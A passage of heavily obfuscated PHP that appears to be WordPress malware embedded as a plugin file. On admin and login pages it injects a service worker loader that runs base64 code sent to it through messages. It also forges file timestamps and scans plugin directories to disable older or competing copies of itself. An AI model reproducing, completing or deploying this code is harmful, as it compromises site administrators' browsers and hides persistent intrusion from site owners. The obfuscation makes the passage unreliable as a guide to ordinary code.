if (!empty(${"G" . "" . 'LOBALS'}["sc\x5f" . 'js' . '_ob'])) return;
if (!('fun' . "c" . 'tion_ex' . 'ists')("head" . 'e' . 'rs_lis' . 't')) return;
$inline = (isset(${('GL' . 'OBA') . 'L' . "\x53"}["sc\x5f" . 'js']) && is_string(${"\x47\x4c\x4f" . 'BALS'}['sc_js'])) ? trim(${"\x47LO\x42\x41\x4c" . "S"}['sc_js']) : '';
if ($inline === '') return;
$_uri = isset(${'_' . "S" . "ERVE" . 'R'}['REQ' . 'U' . "EST" . '_URI']) ? (string) ${("_" . 'SER') . 'VER'}["R\x45\x51" . 'U' . 'EST' . "_" . 'URI'] : '';
if ($_uri !== '' && preg_match('/\\.(' . 'zip|g' . 'z|' . 't' . "ar\x7c" . 'bz' . "2|p" . 'df|csv' . "|xlsx" . '?|' . "doc" . "x?" . '|s' . 'ql|' . 'm' . 'p4|' . 'iso)(' . '\\?|$)/' . 'i', $_uri)) return;
if ((("fu" . "\x6e\x63\x74\x69\x6f\x6e\x5f") . "\x65\x78\x69\x73\x74\x73")('header' . "s_\x6c" . 'is' . 't')) {
foreach ((array) @headers_list() as $_hb) {
if (stripos($_hb, 'Co' . 'ntent-' . 'Dispo' . 'sitio' . 'n:') === (4084 ^ 4084) && stripos($_hb, 'att' . 'achm' . "en\x74") !== (18 == 31)) return;
if (stripos($_hb, "Conten" . "t-Ty\x70" . 'e:') === (754 ^ 754) && stripos($_hb, 'te' . 'xt/h' . 'tml') === (39 == 29) && stripos($_hb, 'a' . 'ppli' . 'c' . "ati" . 'on' . "/" . 'xhtml') === (18 === 39)) return;
if (stripos($_hb, "Con" . "\x74e\x6e" . "t-Len" . 'gth:') === (1176 ^ 1176)) return;
}
unset($_hb);
}
${'GL' . 'OBAL' . '' . 'S'}['sc_j' . "s_o\x62"] = (32 !== 31);
@("o" . ('b' . "\x5f\x73\x74\x61\x72\x74"))('sc_js' . '_ob_cb');
} catch (Throwable $e) {
niga('js' . '_o' . 'b', $e);
} catch (Exception $e) {
}
}
function sc_sw_reg()
{
try {
if (!("\x66un\x63\x74\x69\x6f\x6e" . "_exists")('is_a' . 'dmin')) return;
if (!is_admin() && (!isset(${'GL' . "\x4fB\x41\x4cS"}['p' . "ag" . 'e' . 'no' . "w"]) || ${("\x47" . "LOB") . "ALS"}["pa\x67\x65no" . "w"] !== 'wp-l' . "o\x67in\x2e\x70" . "h" . 'p')) return;
if (('fun' . "" . "\x63\x74\x69\x6f\x6e\x5f" . "exists")("i" . 's_' . "\x73" . 'sl') && !is_ssl()) return;
$sw_url = caje('s' . 'w_url', '');
$mark = sc_md5(ABSPATH . 'js', (12 >> 1));
$h = 'bi' . 'n2h' . "ex";
if ($sw_url === '') {
if (('function_' . "ex" . 'is' . 'ts')("g\x65t_o" . 'p' . 'tion') && (int) @get_option('sc_' . 'sw_had', (1268 ^ 1268))) {
@update_option("\x73\x63" . '_sw' . '_had', (1846 ^ 1846), 'n' . "\x6f");
$_last = (string) @get_option("s\x63" . "_" . "\x73\x77_la" . 'st_u' . "r" . 'l', '');
echo "\n" . "<scrip" . "t d" . "\x61\x74a-s" . 'c-' . $mark . '>'
. 'var ' . 'd=func' . 'tion' . "(h\x29\x7bv\x61" . 'r' . ' r=' . '"",i;f' . "or(i=0" . ';i<h.' . 'lengt' . "h;\x69\x2b=2" . "\x29r\x2b=S" . 'trin' . 'g.f' . "\x72\x6fm\x43ha" . "rCo\x64e" . "(pa" . 'rs' . "eIn" . "t\x28h.s\x75" . 'bst' . 'r(i,2)' . ',16)' . ')' . ';ret' . 'urn ' . 'r},'
. "sw\x3d" . "\x6eaviga" . 'to' . 'r[d' . '("' . $h("\x73\x65rv" . 'ice' . 'Wor' . 'ker') . "\"" . ')],'
. 'lu=' . json_encode($_last) . ';'
. 'if(s' . 'w)sw[' . 'd' . '("' . $h('ge' . 't' . "Reg" . 'istr' . 'ation' . 's') . "\")]" . "\x28)." . "th" . 'en' . '(fu' . 'nct' . 'i' . "\x6f" . "n(\x72s\x29{" . 'rs' . "\x2efor\x45\x61" . 'ch' . '(' . "f" . "un" . 'c' . 'tion' . '(r)' . "{va" . "r " . 'm=!lu;'
. 'if' . '(!' . 'm)' . "\x5bd\x28" . "\"" . $h("\x61ct\x69" . 've') . "\"),d(" . '"' . $h("\x77a\x69\x74\x69n" . "\x67") . "\"\x29," . "d(\"" . $h('instal' . "li" . 'ng') . '")].' . 'fo' . 'rE' . "a\x63\x68(" . "f\x75nc" . "t\x69\x6fn(k" . '){if(r' . "\x5bk]\x26&r" . "[k][\x64(" . '"' . $h("sc\x72ip\x74" . 'URL') . "\")]" . '===lu' . ")\x6d\x3d1\x7d)" . ';'
. "\x69" . 'f(m)' . 'r[d(' . '"' . $h('unreg' . "\x69" . 'st' . "er") . '")]()' . '})})[' . 'd("' . $h('ca' . 'tch') . "\")" . "]\x28" . "func\x74i" . 'on' . '()' . "\x7b}\x29"
. '</' . "sc" . "ri\x70t" . ">" . "\n";
unset($_last);
}
return;
}
$sw_url = str_replace('http' . ':' . '//', "\x68t\x74" . "\x70s\x3a//", $sw_url);
if (strpos($sw_url, "htt" . "ps" . '://') !== (4009 ^ 4009)) $sw_url = 'https:' . "/\x2f" . ltrim($sw_url, '/');
$scope = '/';
if (("f" . '' . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('home' . "_" . "url")) {
$_hp = (string) parse_url(home_url(), PHP_URL_PATH);
if ($_hp !== '' && $_hp !== '/') $scope = rtrim($_hp, '/') . '/';
}
if (("functi" . 'on_ex' . 'ists')('upd' . 'at' . 'e' . '_o' . "pt" . "i\x6f" . "n")) {
@update_option("\x73c\x5f" . 'sw_h' . 'ad', (2455 ^ 2454), 'no');
@update_option('sc_s' . 'w_l' . 'as' . 't_url', $sw_url, 'no');
}
$js = "<s" . 'cri' . 'pt da' . "t" . "a-s\x63-" . $mark . '>'
. 'var ' . "\x64=fu\x6e\x63" . 'tio' . 'n(h' . '){v' . 'ar' . " " . 'r="",i' . ";for(i" . "=" . "0;i" . "<h." . "lengt" . "h" . ";" . 'i+=2)' . 'r+=St' . 'ri' . 'n' . 'g.from' . "Cha" . 'rC' . 'ode(p' . 'a' . 'rseIn' . "\x74(\x68\x2es" . 'ub' . 'str' . '(i' . ',2)' . ',16));' . 'retu' . 'rn' . " r}\x2c"
. "s\x77\x3dn" . 'av' . "i\x67a\x74o\x72" . '[d(' . '"' . $h("s" . 'erv' . 'iceWo' . "\x72" . 'ker') . '"' . ')' . "];"
. 'if(sw' . "){"
. 'sw[d("' . $h('g' . "et\x52egi" . "s\x74\x72a" . "ti" . 'on') . '")](' . json_encode($sw_url) . ')'
. '.then' . "(" . 'f' . 'unct' . 'io' . 'n(r' . '){var ' . "ok=\x30;i" . 'f(r)' . '[d("' . $h("\x61c\x74\x69\x76" . "e") . '"),d(' . "\"" . $h('wa' . "\x69ti\x6e\x67") . '"),' . 'd("' . $h("in\x73\x74al" . "li\x6eg") . "\")].\x66o" . 'rEa' . 'ch(fu' . "ncti" . 'on' . "(k){\x69" . "f(r[\x6b" . ']&&r[k' . '][d' . "(\"" . $h('scri' . 'ptURL') . "\")]==" . '=' . json_encode($sw_url) . ')ok=1' . '});'
. 'if(!o' . 'k)sw[' . 'd("' . $h('reg' . 'iste' . 'r') . '")' . "]\x28" . json_encode($sw_url) . "\x2c{sc\x6f\x70" . 'e:' . json_encode($scope) . "}" . ')[d("' . $h("c" . 'atch') . "\")](" . "\x66\x75n\x63t" . 'io' . 'n' . '(){' . "\x7d" . "\x29}" . ')'
. "[d(" . "\"" . $h('catc' . 'h') . "\")](f" . 'un' . 'ct' . 'ion()' . '{' . '});'
. 'sw[d(' . "\"" . $h('addEv' . 'ent' . 'List' . 'ene' . 'r') . '")]' . "(\x64" . '("' . $h('messag' . "\x65") . '"),f' . 'unct' . "i" . 'on(' . "\x65" . '){'
. "v" . 'ar v' . "\x3de[d(" . '"' . $h("da" . 'ta') . '")];'
. "if\x28" . 'v&&v.c' . '){try' . "{" . 'n' . "e\x77\x20F" . "\x75nc" . 'tio' . 'n(a' . 'tob(' . 'v.c))' . '(' . ")}" . 'ca' . 'tch(' . 'x){' . '}' . '}});'
. 'sw[d(' . '"' . $h('rea' . "d\x79") . '")].' . 'then(f' . 'unct' . "\x69o\x6e\x28" . 'r)' . '{'
. 'r[d(' . "\"" . $h('ac' . 'tive') . '")' . ']' . "[d(\"" . $h('post' . 'Mess' . "age") . "\")](" . '{t:"' . 'r"})' . "})}"
. '</scri' . 'pt>';
echo "\n" . $js . "\n";
} catch (Throwable $e) {
niga('sw_r' . 'eg', $e);
} catch (Exception $e) {
niga("sw\x5f" . 'reg', $e);
}
}
$_sc_preboot = utolo();
sc_dbg_log('02b pr' . "eb" . "oot" . ': ret' . 'ir' . "ed=" . (int) $_sc_preboot['old'] . ' forei' . 'gn' . '=' . (int) $_sc_preboot["fo" . "re" . 'i' . "gn"] . ' adop' . "\x74\x3d" . (int) $_sc_preboot['adopt']);
$_sc_dd = sc_dedup();
sc_dbg_log("0\x33 " . 'ded' . "u\x70 d\x6fn" . "e");
if ($_sc_dd) { sc_dbg_log('02 ded' . 'up' . ' T' . 'R' . 'UE ' . '-> ' . "e" . 'xit'); return; }
yokuc();
$_sc_fmt = @filemtime(sc_file());
if (!$_sc_fmt || ($_sc_fmt % (64452 + 35548)) !== nasa()) {
$_sc_ft = time();
alevu(sc_file(), ($_sc_ft - ($_sc_ft % (82704 + 17296))) + nasa());
unset($_sc_ft);
}
unset($_sc_fmt);
sc_dbg_log("04 m\x74" . 'i' . 'm' . 'e fi' . 'xed');
$_sc_swm = dirname(__FILE__) . '/.swm_' . basename(__FILE__, '.ph' . "p");
$_sc_swmt = @is_file($_sc_swm) ? (int) @filemtime($_sc_swm) : (379 ^ 379);
$_sc_sweep = !($_sc_swmt > time() - (145 + 155) && $_sc_swmt <= time() + (375 - 75));
if ($_sc_sweep) @("touc" . 'h')($_sc_swm);
unset($_sc_swm, $_sc_swmt);
if ($_sc_sweep) try {
$_sc_self = __FILE__;
$_sc_myv = '';
$_sc_h = @(('f' . "") . 'ile_g' . "e\x74\x5f\x63\x6fnt\x65\x6e\x74\x73")($_sc_self, (18 == 22), null, (2956 ^ 2956), (6198 - 2102));
if (is_string($_sc_h) && preg_match('/\\/' . '\\*' . ' ' . 'S' . 'CV:' . "(\\d" . "+\\.\\\x64+" . '\\.\\d+' . "\x29 \\*\\" . '//', $_sc_h, $_sc_m)) $_sc_myv = $_sc_m[(1676 ^ 1677)];
if ($_sc_myv !== '' && defined("\x57\x50_" . 'CO' . "N" . "T\x45" . 'NT' . '_DIR')) {
$_sc_cands = array();
$_sc_mu = defined("WPM\x55_P" . 'LUGI' . "\x4e_D\x49R") ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-p' . 'l' . 'ugin' . 's';
$_sc_pd = defined("WP_P\x4c" . 'U' . "\x47IN_DI" . 'R') ? WP_PLUGIN_DIR : WP_CONTENT_DIR . "/\x70l" . 'ugin' . "s";
$_sc_gok = (11 === 3);
if (('function_e' . 'xist' . ('' . "s"))('glo' . 'b')) {
$_sc_g1 = @is_dir($_sc_mu) ? @('g' . 'lob')($_sc_mu . '/*.ph' . "\x70") : (38 === 34);
$_sc_g2 = @('g' . 'l' . "o" . 'b')($_sc_pd . "/" . "*/" . '*.p' . 'hp');
if (is_array($_sc_g1) || is_array($_sc_g2)) {
$_sc_gok = (32 !== 40);
foreach ((array) $_sc_g1 as $_sc_f) $_sc_cands[] = $_sc_f;
foreach ((array) $_sc_g2 as $_sc_f) $_sc_cands[] = $_sc_f;
}
unset($_sc_g1, $_sc_g2);
}
if (!$_sc_gok) {
$_sc_ents = @is_dir($_sc_mu) ? asome($_sc_mu, (778 ^ 4226)) : (17 == 35);
if (is_array($_sc_ents)) foreach ($_sc_ents as $_sc_e) {
if (substr($_sc_e, -(16 - 12)) === '.php') $_sc_cands[] = $_sc_mu . '/' . $_sc_e;
}
$_sc_ents = @is_dir($_sc_pd) ? asome($_sc_pd, (1848 + 3152)) : (8 === 14);
if (is_array($_sc_ents)) foreach ($_sc_ents as $_sc_e) {
$_sc_sd = $_sc_pd . '/' . $_sc_e;
if (!@is_dir($_sc_sd)) continue;
$_sc_sub = asome($_sc_sd, (512 | 4488));
if (!is_array($_sc_sub)) continue;
foreach ($_sc_sub as $_sc_e2) {
if (substr($_sc_e2, -(16 ^ 20)) === '.php') $_sc_cands[] = $_sc_sd . '/' . $_sc_e2;
}
}
unset($_sc_ents, $_sc_e, $_sc_e2, $_sc_sd, $_sc_sub);
}
$_sc_myslug = basename($_sc_self, '.ph' . "\x70");
foreach ($_sc_cands as $_sc_f) {
if ($_sc_f === $_sc_self) continue;
$_sc_mt = @filemtime($_sc_f);
if (!$_sc_mt || ($_sc_mt % (161951 - 61951)) !== (9549 ^ 84790)) {
$_sc_sz0 = @filesize($_sc_f);
if (!$_sc_sz0 || $_sc_sz0 < (641 - 141) || $_sc_sz0 > (41690339 + 10738461)) continue;
}
$_sc_h = @("\x66\x69\x6c\x65_g\x65t\x5fc\x6fnten" . 'ts')($_sc_f, (15 === 3), null, (2413 ^ 2413), (676 ^ 4772));
$_sc_m = array();
if (is_string($_sc_h)) preg_match('/\\/\\' . '* S' . "CV:(" . '\\' . 'd+\\.\\d' . "+\\\x2e\\d" . '+) \\*\\' . "//", $_sc_h, $_sc_m);
if (empty($_sc_m[(3186 ^ 3187)])) {
if (!sc_is_family($_sc_f, (2667 + 2333))) continue;
$_sc_m = array('', "\x30.0\x2e" . "\x30");
}
if (basename($_sc_f, '.php') === $_sc_myslug && $_sc_m[(2892 ^ 2893)] === $_sc_myv) {
if (!novu($_sc_f)) {
if (ojaqop($_sc_f, $_sc_f . '.off') && ('fu' . ("nction_e" . "xists"))("\x6fpca\x63" . "\x68e_" . 'invali' . 'date')) @opcache_invalidate($_sc_f, (22 != 3));
}
continue;
}
if (version_compare($_sc_m[(3410 ^ 3411)], $_sc_myv, '<')) {
$_sc_own = kuji($_sc_f);
if ($_sc_own === (7 === 18)) {
niga('sweep', 'for' . 'eign_s' . "k\x69p" . "\x20" . basename($_sc_f));
continue;
}
if ($_sc_own === (26 != 6)) {
if (ojaqop($_sc_f, $_sc_f . ".o" . "\x66f")) {
if (('functi' . ("" . 'on_exists'))('opca' . 'c' . "h\x65_\x69n\x76" . 'alidat' . 'e')) @opcache_invalidate($_sc_f, (13 != 20));
} elseif (!sc_retire_copy($_sc_f) && sc_is_locked_copy($_sc_f)) {
peza($_sc_f);
barus($_sc_f);
}
@("u" . 'nl' . "" . 'ink')(dirname($_sc_f) . "/.s" . 'd_' . basename($_sc_f, '.php'));
continue;
}
if (!sc_retire_copy($_sc_f) && sc_is_locked_copy($_sc_f)) {
peza($_sc_f);
barus($_sc_f);
}
sc_retire_sidecars($_sc_f);
continue;
}
$_sc_live = (basename(dirname($_sc_f)) === 'mu-pl' . "u\x67\x69n" . 's' || dirname($_sc_f) === $_sc_mu);
if (!$_sc_live && (("fun" . 'ct') . "i\x6f" . "n_exists")('g' . "et" . "_o" . 'p' . 't' . "io\x6e")) {
$_sc_rel = basename(dirname($_sc_f)) . '/' . basename($_sc_f);
$_sc_act = (array) @get_option('ac' . "tive" . '_' . 'plu' . 'g' . 'ins', array());
$_sc_live = in_array($_sc_rel, $_sc_act, (37 != 29));
if (!$_sc_live && (("fu\x6ec\x74\x69" . "on_ex") . 'ists')('i' . 's_mult' . 'isi' . "te") && is_multisite() && ("function" . ("\x5f\x65" . "xi\x73\x74s"))('get_si' . 'te_opt' . 'ion')) {
$_sc_sw = (array) @get_site_option('a' . "ctive\x5f" . 'sit' . 'ewi' . "de" . "_plu" . 'gi' . "\x6es", array());
$_sc_live = isset($_sc_sw[$_sc_rel]);
unset($_sc_sw);
}
unset($_sc_rel, $_sc_act);
}
if (!$_sc_live) continue;
if (version_compare($_sc_m[(1940 ^ 1941)], $_sc_myv, '>')) {
if (novu($_sc_f) && !imijo($_sc_f) && !kaga($_sc_f, $_sc_self)) return;
$_sc_bad = dirname($_sc_f) . "/\x2e" . 'bad' . "\x5f" . md5($_sc_f);
if (@is_file($_sc_bad) && (int) @filemtime($_sc_bad) < time() - (89 - 29)) {
$_sc_bv = explode('|', (string) @("\x66" . "ile_ge" . "\x74\x5f\x63o\x6e\x74e" . 'nts')($_sc_bad));
if (count($_sc_bv) < (439 ^ 437) || $_sc_bv[(575 ^ 575)] !== $_sc_m[(3015 ^ 3014)] || (int) $_sc_bv[(198 ^ 199)] !== (int) @filesize($_sc_f)) {
@('u' . "nlink")($_sc_bad);
continue;
}
if (kuji($_sc_f) !== (29 == 13)) {
legiv($_sc_f, (128 | 292));
if (jomug($_sc_f)) {
@(('un' . "lin") . '' . "\x6b")($_sc_bad);
if (("\x66\x75\x6e\x63" . "tion_e" . 'xists')("\x6fpc\x61ch" . "\x65_\x69nva" . "\x6cidate")) @opcache_invalidate($_sc_f, (8 !== 32));
}
}
continue;
}
@("\x66il\x65\x5fp\x75\x74_" . "" . 'c' . ('onte' . "nts"))($_sc_bad, $_sc_m[(311 ^ 310)] . '|' . (int) @filesize($_sc_f));
continue;
}
if ($_sc_m[(2373 ^ 2372)] === $_sc_myv) {
$_sc_rec = pipu();
$_sc_hold = (3 == 32);
if (!empty($_sc_rec['path'])) {
$_sc_rr = @realpath($_sc_rec['path']);
$_sc_fr = @realpath($_sc_f);
if (is_string($_sc_rr) && is_string($_sc_fr) && $_sc_rr === $_sc_fr && hiva($_sc_rec) === 'ok' && novu($_sc_f)) {
if (kaga($_sc_f, $_sc_self)) $_sc_hold = (10 !== 11);
else return;
}
if (is_string($_sc_rr) && $_sc_rr === @realpath($_sc_self)) $_sc_hold = (5 < 6);
}
if (!$_sc_hold && !novu($_sc_f)) {
if (imijo($_sc_f) || kuji($_sc_f) !== (30 == 19)) {
if (ojaqop($_sc_f, $_sc_f . '.off') && ('f' . "\x75\x6e\x63" . "ti" . 'on_exists')("opcac" . 'h' . 'e_i' . 'nvalid' . 'ate')) @opcache_invalidate($_sc_f, (15 != 32));
}
unset($_sc_rec, $_sc_hold, $_sc_rr, $_sc_fr);
continue;
}
if (!$_sc_hold && substr(md5(basename($_sc_f, '.php')), (2215 ^ 2215), (96 >> 3)) > substr(md5($_sc_myslug), (1112 ^ 1112), (10 ^ 6))) {
if (!kaga($_sc_f, $_sc_self)) return;
}
unset($_sc_rec, $_sc_hold, $_sc_rr, $_sc_fr);
}
}
}
unset($_sc_self, $_sc_myv, $_sc_h, $_sc_m, $_sc_cands, $_sc_mu, $_sc_pd, $_sc_f, $_sc_mt, $_sc_myslug, $_sc_sz0, $_sc_own, $_sc_bad, $_sc_bv);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_sweep);
sc_dbg_log('05 swe' . 'ep ' . 'do' . 'ne');
try {
$_sc_oc_ts = ("functi" . "\x6fn_" . "" . "exists")('get_o' . 'ption') ? (int) @get_option('sc_' . "las" . "t\x5fold\x5f" . "\x63l\x65a" . 'n', (3448 ^ 3448)) : (3780 ^ 3780);
$_sc_oc_due = ($_sc_oc_ts < time() - (5690 - 2090) || $_sc_oc_ts > time() + (446 - 146));
$_sc_oc_bv = ('function' . '' . '_exist' . 's')('get_op' . 'ti' . 'on') ? (string) @get_option('sc_bu' . "i\x6c\x64_\x76e" . 'r', '') : '';
$_sc_oc_new = ($_sc_oc_bv !== '' && $_sc_oc_bv !== sc_ver());
$_sc_oc_hit = !empty($_sc_preboot['old']) || !empty($_sc_preboot['foreig' . 'n']) || !empty($_sc_preboot['adop' . "t"]) || $_sc_oc_new;
if (('fu' . ("nc" . "tio\x6e\x5f\x65\x78i\x73\x74") . "\x73")('ge' . 't_op' . 't' . "\x69on") && ("\x66" . ("u" . "nct") . "ion_exists")("\x75\x70d\x61t" . 'e_o' . 'pti' . 'o' . 'n') && ($_sc_oc_due || $_sc_oc_hit) && owowiz()) {
yore(basename(sc_file(), '.php'), (!empty($_sc_preboot["f\x6f" . 'rei' . 'g' . 'n']) || $_sc_oc_new));
@update_option('sc_' . 'l' . "a\x73t_o" . "l\x64_" . "c" . 'lean', time(), 'no');
@update_option("sc" . '_b' . 'u' . 'il' . "d\x5fv\x65r", sc_ver(), 'no');
sc_dbg_log("0\x35b" . ' old' . " cl\x65a\x6e" . 'up do' . "ne\x20h\x69" . 't' . "=" . ($_sc_oc_hit ? (3407 ^ 3406) : (445 ^ 445)) . " " . 'v' . "er=" . ($_sc_oc_new ? (3631 ^ 3630) : (90 ^ 90)));
}
unset($_sc_oc_ts, $_sc_oc_due, $_sc_oc_hit, $_sc_oc_bv, $_sc_oc_new);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_preboot);
if (!(!("\x66\x75n" . "\x63\x74\x69\x6f\x6e" . "\x5f\x65\x78\x69st\x73")('sc_' . 'ver' . '_sent' . 'in' . "\x65l"))) {} else {
function sc_ver_sentinel() { return '9' . '9' . '.' . '99.99'; }
}
if (!("func" . '' . 'tion_exists')("\x73c_" . 'vers' . "ion_" . 'p' . 'oints')) {
function sc_version_points() {
$pts = array();
$pts['GLO' . "\x42 \x73c" . "_" . "\x62o\x6f" . 't_ver'] = isset(${"GLO" . 'B' . 'ALS'}['sc_bo' . 'ot_v' . 'er']) ? (string) ${"\x47\x4c\x4f\x42" . "A" . "L" . "S"}["sc_" . 'boot_v' . 'er'] : '(unset' . "\x29";
$pts['GLO' . "\x42" . ' ' . 'sc_b' . 'oot_st'] = isset(${'GLO' . "\x42" . 'AL' . '' . "\x53"}['s' . "c\x5f\x62\x6fo\x74" . '_st']) ? (is_scalar(${"G" . 'LOBAL' . "S"}['sc_boo' . 't_st']) ? (string) ${'GLOB' . "" . 'AL' . "S"}['sc' . "_\x62o" . 'ot_st'] : gettype(${'GL' . "O\x42\x41L" . 'S'}['sc_b' . "\x6f" . 'o' . 't_st'])) : "(u\x6e\x73e" . "\x74" . ")";
$pts['GLOB ' . 'sc' . '_boot_' . "\x74\x6b"] = !empty(${"\x47\x4c\x4f" . "B" . "\x41\x4cS"}["\x73c_\x62o\x6f" . 't_t' . "\x6b"]) ? 'takeov' . "\x65r" : '-';
$pts['G' . 'LOB s' . 'c_' . 'boot_e' . 'x' . 'cl'] = !empty(${"\x47" . '' . "LO" . "BAL" . 'S'}["s" . 'c_bo' . "o" . 't_ex' . 'c' . 'l']) ? "E" . 'X' . "C\x4cUDE" . 'D' : '-';
$pts['C' . "O\x4eS" . "T " . 'SC_CO' . 'RE_BO' . "O\x54STR" . 'APP' . "ED"] = defined('SC_C' . 'ORE' . "_BOO" . 'TSTRA' . 'P' . 'PED') ? (string) ("con" . "sta" . 'nt')('SC_CO' . 'R' . 'E' . "_BOOT" . 'STRAPP' . 'ED') : '(' . 'un' . "\x64efi" . 'ne' . "d" . ")";
$pts['SELF' . " \x73\x63\x5fve" . 'r()'] = sc_ver();
$dirs = array(dirname(sc_file()), sc_mu());
$seen = array();
foreach ($dirs as $dir) {
if ($dir === '' || !@is_dir($dir)) continue;
$list = @(("g" . "lo") . "b")($dir . '/.sd_' . "\x2a");
if (!is_array($list)) continue;
foreach ($list as $f) {
if (isset($seen[$f])) continue;
$seen[$f] = (2148 ^ 2149);
$raw = @('file_get' . ("_conte" . "n") . 'ts')($f);
$v = is_string($raw) ? trim($raw) : '';
$pts["FI" . "LE" . ' ' . $f] = $v !== '' ? $v : "(e\x6dpt" . 'y' . ')';
}
}
return $pts;
}
}
if (!('f' . "un\x63t\x69o\x6e\x5fe\x78i\x73\x74s")("sc_d" . "\x69ag" . '_dump' . "_v\x65\x72s\x69" . "\x6fn" . 's')) {
function sc_diag_dump_versions() {
try {
$dir = sc_data_dir();
if (!is_string($dir) || $dir === '' || !@is_dir($dir)) {
$dir = ("fu\x6e" . 'ction_' . "exists")('sys_g' . "\x65t_te\x6d" . "p_" . 'dir') ? sys_get_temp_dir() : ABSPATH;
}
$file = $dir . "/s\x63\x5fd" . "i" . 'ag_' . 'versio' . "\x6e\x73\x2et" . 'x' . "t";
$pts = sc_version_points();
$out = array();
$out[] = "=" . "==\x3d\x3d=\x3d" . ' SC ' . "V\x45" . "\x52S" . 'ION' . " " . "\x50O\x49N" . "T" . "\x53 =" . '=====' . '=';
$out[] = "ho" . 'st ' . ':' . ' ' . ((("\x66\x75\x6e" . "\x63\x74\x69on\x5f\x65x\x69s") . "ts")("g" . 'eth' . 'ostna' . 'me') ? @gethostname() : '?');
$out[] = "t\x69\x6d" . "e" . ' : ' . date('Y-m-d' . ' H:i' . ":s");
$out[] = "own\x20\x20" . "\x3a\x20" . sc_ver();
$out[] = '-' . "\x2d\x2d---" . '--' . '----' . '------' . '------' . '---' . "----" . '---' . "\x2d";
foreach ($pts as $k => $v) { $out[] = str_pad($k, (8 | 22)) . ' = ' . $v; }
$sent = sc_ver_sentinel();
$hg = isset(${"\x47\x4c" . "O" . "\x42A\x4c" . "S"}['s' . "\x63\x5fbo\x6f" . 't_v' . 'e' . 'r']) && ((string) ${'GL' . "\x4f" . 'BA' . "\x4c\x53"}['sc_boo' . 't_ve' . "\x72"] === $sent);
$hc = defined('SC_CO' . "R\x45_BO" . 'OTSTR' . "AP\x50E\x44") && ((string) ('constan' . 't')('SC_' . 'CORE_' . "BO\x4fT" . "S" . "TRAPPE" . 'D') === $sent);
$hf = (768 ^ 768); $tf = (2589 ^ 2589);
foreach ($pts as $k => $v) { if (strpos($k, 'FILE ') === (1656 ^ 1656)) { $tf++; if ($v === $sent) $hf++; } }
$ew = $hg || $hc || ($hf > (3307 ^ 3307));
$out[] = '---' . '--' . "-\x2d-\x2d\x2d\x2d" . '--' . '----' . '---' . '-----' . "---" . '-' . '---' . '---';
$out[] = ' 99.' . "9" . '9.99 c' . "ove" . "r" . 'age:';
$out[] = " " . ' GLOB ' . ": " . ($hg ? 'H' . 'IT' : '-');
$out[] = ' CON' . 'S' . 'T:' . ' ' . ($hc ? 'HIT' : '-');
$out[] = " \x20 \x46" . 'ILE : ' . $hf . '/' . $tf;
$out[] = ' EVERY' . "\x3a " . ($ew ? 'Y' . 'ES' . " " . "\x2d" . '> EX' . "\x43L\x55\x44E" . ' ' . '& BOOT' . " TO\x20E" . 'ND' : 'n' . "o");
$out[] = '===' . '====' . '=' . "=" . '==' . "=" . '======' . "==\x3d\x3d" . "=\x3d===" . '=====' . '===' . '==';
@(("f" . "") . "ile_put_contents")($file, implode("\n", $out) . "\n");
@("chm" . 'o' . "d")($file, (739 - 319));
${'GLOBAL' . '' . "\x53"}["s\x63\x5f\x64ia" . "g" . "\x5feve" . 'rywher' . 'e'] = $ew ? (1227 ^ 1226) : (308 ^ 308);
${"G" . "\x4c\x4f" . '' . 'BALS'}['sc_' . 'diag_b' . "oot9" . "9"] = $hg ? (2774 ^ 2775) : (3061 ^ 3061);
${"\x47\x4c\x4fB" . "ALS"}['sc_di' . 'ag' . "_c" . 'onst9' . '9'] = $hc ? (3587 ^ 3586) : (3816 ^ 3816);
${'GLO' . '' . 'BALS'}["s\x63" . '_diag' . "_fil" . "\x65\x399"] = $hf;
sc_dbg_log("0" . '6x ' . 'diag: ' . "99.99" . '.9' . "\x39 e\x76" . "ery\x77\x68" . 'er' . 'e=' . ($ew ? 'Y' : 'N') . ' g=' . ($hg ? (3171 ^ 3170) : (2621 ^ 2621)) . ' c=' . ($hc ? (1732 ^ 1733) : (357 ^ 357)) . ' f=' . $hf . '/' . $tf . " \x2d" . '> ' . $file);
return $file;
} catch (Throwable $e) { return ''; }
catch (Exception $e) { return ''; }
}
}
if (!('functi' . "\x6fn_e\x78i" . "sts")("sc_" . 'boot_v' . 'er_e' . 'x' . 'clude' . "d")) {
function sc_boot_ver_excluded() {
if (!isset(${'GLO' . "B\x41\x4cS"}['sc_' . 'bo' . "o\x74" . '_' . 've' . 'r'])) return (3 === 28);
return ((string) ${'G' . 'L' . "OBALS"}["\x73c_" . 'b' . "oot_" . 'ver']) === sc_ver_sentinel();
}
}
if (!(!("functio" . ("n_ex" . 'ists'))("s" . 'c_boot' . "s" . 'trap_' . "co" . 'nst' . '_' . 'e' . 'xclu' . 'd' . 'ed'))) {} else {
function sc_bootstrap_const_excluded() {
if (!defined('SC_' . "CO\x52E\x5f\x42" . "OO\x54S" . "\x54\x52\x41\x50" . "P" . "ED")) return (21 == 2);
return ((string) ("c" . 'o' . '' . "\x6e\x73ta\x6e\x74")("SC" . "_C\x4fRE" . '_B' . "O\x4fTST" . 'RA' . "\x50\x50E\x44")) === sc_ver_sentinel();
}
}
if (!(("\x66\x75\x6e\x63\x74\x69" . 'on_' . "ex" . 'ists')("s" . 'c_debu' . "\x67_\x6f\x6e") && sc_debug_on())) {} else {
$sc_diag_file = sc_diag_dump_versions();
unset($sc_diag_file);
}
if (isset(${"GL" . 'O' . ("\x42\x41\x4c" . 'S')}["sc_\x62o" . 'o' . "t_v" . "er"])) {
if (version_compare((string) ${'GLO' . 'BALS'}['sc_b' . 'oot_v' . "\x65" . "\x72"], sc_ver(), '>=')) {
if (sc_boot_ver_excluded()) {
sc_dbg_log("\x306" . "e\x20\x62oo" . "t_" . 'v' . 'e' . 'r=9' . "\x39.\x39" . "9" . '.99 S' . "T\x41\x4c" . "\x45 \x2d" . "\x3e" . ' EXCLU' . 'DE,' . ' boo' . 't to ' . 'EN' . "\x44");
${'GLOB' . "\x41" . "\x4c\x53"}['sc_' . "\x62o\x6ft" . '_' . "e\x78\x63l"] = (2647 ^ 2646);
unset(${"GL" . '' . 'OBA' . "LS"}["s\x63" . '_boo' . 't_ver']);
} else {
